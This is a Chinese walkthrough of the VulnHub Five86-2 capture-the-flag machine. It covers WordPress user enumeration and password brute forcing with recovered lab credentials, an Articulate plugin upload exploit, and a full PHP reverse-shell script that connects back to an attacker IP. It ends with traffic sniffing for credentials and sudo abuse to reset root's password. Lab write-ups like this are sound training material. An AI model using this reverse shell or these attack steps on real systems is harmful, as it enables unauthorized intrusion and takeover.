总结：sudo -l，抓流量包，搜索引擎。。

目录

下载地址

漏洞分析

信息收集

网站渗透

​编辑

反弹shell+提权

下载地址

• Five86-2.zip (Size: 1.7 GB)
• Download (Mirror): https://download.vulnhub.com/five86/Five86-2.zip

使用：下载以后打开压缩包，使用vm直接打开ova文件

漏洞分析

信息收集

1.给靶机设置一个快照

2.fping -agq 192.168.31.0/24  使用fping快速扫描该网段中存活的机子

3.将靶机关闭重新扫描一下，对比少的那个ip就是靶机的ip

4.使用快照快速将靶机恢复

注：ip段要看自己的

这里通过nmap扫出来有20，21端口，这里先看看80端口扫出来的东西。

但是进去发现不好用，就只剩下一个框架了，怎么点都不行，这里去hosts把靶机添加进去

windows:C:\Windows\System32\drivers\etc\hosts

linux:/etc/hosts

再次访问网页就正常了

 这里通过插件就可以知道他的cms框架的版本，当然我们通过nmap也可以知道。

nmap使用-A综合扫描，我们同样可以知道他cms的版本号。

这里使用dirsearch扫一下直接就扫到后台了，这里我们使用wpscan去爆破爆破用户名。

 这里加上-e u就可以使用了，-e是一种简化的写法，正常是--enumerate u

然后利用cewl生成密码。

wpscan --url http://192.168.31.122/ -e u
echo "barney\nadmin\ngillian\npeter\nstephen" > user.txt
cewl http://192.168.31.122 > pass.txt

wpscan --url http://192.168.31.122 -U user.txt -P pass.txt

这里跑一下没有跑出来，怀疑是密码文件的问题，这里使用kail自带的rockyou.txt，这是一家公司泄露出来还是很全的，这是一个gz压缩文件需要自己解压。

gunzip /usr/share/wordlists/rockyou.txt.gz
wpscan --url http://192.168.31.122 -U user.txt -P /usr/share/wordlists/rockyou.txt

但是感觉跑的还是挺慢的。

这里可算是跑出来了两个。

barney:spooky1
stephen:apollo1

网站渗透

这里登录进去就叫我更新，呵呵呵，这里刚进来就有插件的一直有点，强迫症受不了，但是突然想到以前wordpress之前爆出来了不少野洞，这里找到一个感觉可以利用的

WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution - PHP webapps Exploit

 有这个插件，而且wordpress版本也是十分接近的，下面有步骤，这里我们尝试尝试。

 注意kali中$_POST前面要加一个\需要转移$

echo "hello" > index.html
echo "" > index.php
zip poc.zip index.html index.php

第二步是让我们登录，这里我们已经登录进去了。

注意下面上传以后要点一下upload!

搞完了别忘了连续点两下publish,然后再点一下那个view post

然后就会跳到这里，但是这里我们上传的东西在

靶机ip/wp-content/uploads/articulate_uploads/压缩包名/压缩文件

 这里之后出来点问题，就是说马写错了，咳咳咳，这里还是建议用正常的。

echo "" > index.php

用post马是为了，方便我们直接连接蚁剑

这里测试一下没有问题。

反弹shell+提权

喵的，这里用蚁剑尝试了各种反弹shell的命令都没有用。。。

但是别忘了，这个网页是可以触发php文件，这里搞一个反弹shell的php文件。

这里截图有点问题。。。这里新建一个1.php，然后修改里面的内容为下面，自己的ip和要反弹的端口再最下面那里。

 array('pipe', 'r'), // shell can read from STDIN1 => array('pipe', 'w'), // shell can write to STDOUT2 => array('pipe', 'w')  // shell can write to STDERR);private $buffer  = 1024;    // read/write buffer sizeprivate $clen    = 0;       // command lengthprivate $error   = false;   // stream read/write errorpublic function __construct($addr, $port) {$this->addr = $addr;$this->port = $port;}private function detect() {$detected = true;if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS$this->os    = 'LINUX';$this->shell = '/bin/sh';} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {$this->os    = 'WINDOWS';$this->shell = 'cmd.exe';} else {$detected = false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $detected;}private function daemonize() {$exit = false;if (!function_exists('pcntl_fork')) {echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";} else if (($pid = @pcntl_fork()) < 0) {echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";} else if ($pid > 0) {$exit = true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";} else if (posix_setsid() < 0) {// once daemonized you will actually no longer see the script's dumpecho "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";} else {echo "DAEMONIZE: Completed successfully!\n";}return $exit;}private function settings() {@error_reporting(0);@set_time_limit(0); // do not impose the script execution time limit@umask(0); // set the file/directory permissions - 666 for files and 777 for directories}private function dump($data) {$data = str_replace('<', '<', $data);$data = str_replace('>', '>', $data);echo $data;}private function read($stream, $name, $buffer) {if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream$this->error = true;                            // set global error flagecho "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";}return $data;}private function write($stream, $name, $data) {if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream$this->error = true;                            // set global error flagecho "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";}return $bytes;}// read/write method for non-blocking streamsprivate function rw($input, $output, $iname, $oname) {while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length$this->dump($data); // script's dump}}// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)// we must read the exact byte length from a stream and not a single byte moreprivate function brw($input, $output, $iname, $oname) {$fstat = fstat($input);$size = $fstat['size'];if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {// for some reason Windows OS pipes STDIN into STDOUT// we do not like that// we need to discard the data from the streamwhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {$this->clen -= $bytes;$size -= $bytes;}}while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {$size -= $bytes;$this->dump($data); // script's dump}}public function run() {if ($this->detect() && !$this->daemonize()) {$this->settings();// ----- SOCKET BEGIN -----$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);if (!$socket) {echo "SOC_ERROR: {$errno}: {$errstr}\n";} else {stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS// ----- SHELL BEGIN -----$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);if (!$process) {echo "PROC_ERROR: Cannot start the shell\n";} else {foreach ($pipes as $pipe) {stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS}// ----- WORK BEGIN -----$status = proc_get_status($process);@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");do {$status = proc_get_status($process);if (feof($socket)) { // check for end-of-file on SOCKETecho "SOC_ERROR: Shell connection has been terminated\n"; break;} else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still runningecho "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams}                                                                    // use proc_get_status() instead$streams = array('read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR'write'  => null,'except' => null);$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OSif ($num_changed_streams === false) {echo "STRM_ERROR: stream_select() failed\n"; break;} else if ($num_changed_streams > 0) {if ($this->os === 'LINUX') {if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET} else if ($this->os === 'WINDOWS') {// order is importantif (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET}}} while (!$this->error);// ------ WORK END ------foreach ($pipes as $pipe) {fclose($pipe);}proc_close($process);}// ------ SHELL END ------fclose($socket);}// ------ SOCKET END ------}}
}
echo '
';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.31.199', 333);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '
';
?>

 这里访问一下，嗯有戏了

 果然这里直接反弹shell回来了

在查看密码文件的时候发现了一个熟悉的用户

这里先去stephen看看。

原本想内核提权，奈何连gcc都没有。

然后就不会了，然后这里参考 别人的wp

我是真没想到id命令中的pcap原来也是提示

首先使用tcpdump -D查看我们要拦截的流量

timeout 120 tcpdump -w 1.pcap -i veth1df93bc

这里拦截两分钟的，到1.pcap中使用tcpdump -r读取

在眼睛都快瞎了的时候，终于找到了账号和密码，这里登入一下。

paul:esomepasswford

sudo有提权命令，但是也是指定了用户

这里看到直接就进来了。

没想到还有惊喜，passwd就不用查了，这里用脚都知道怎么搞的

sudo passwd root

直接改了root的密码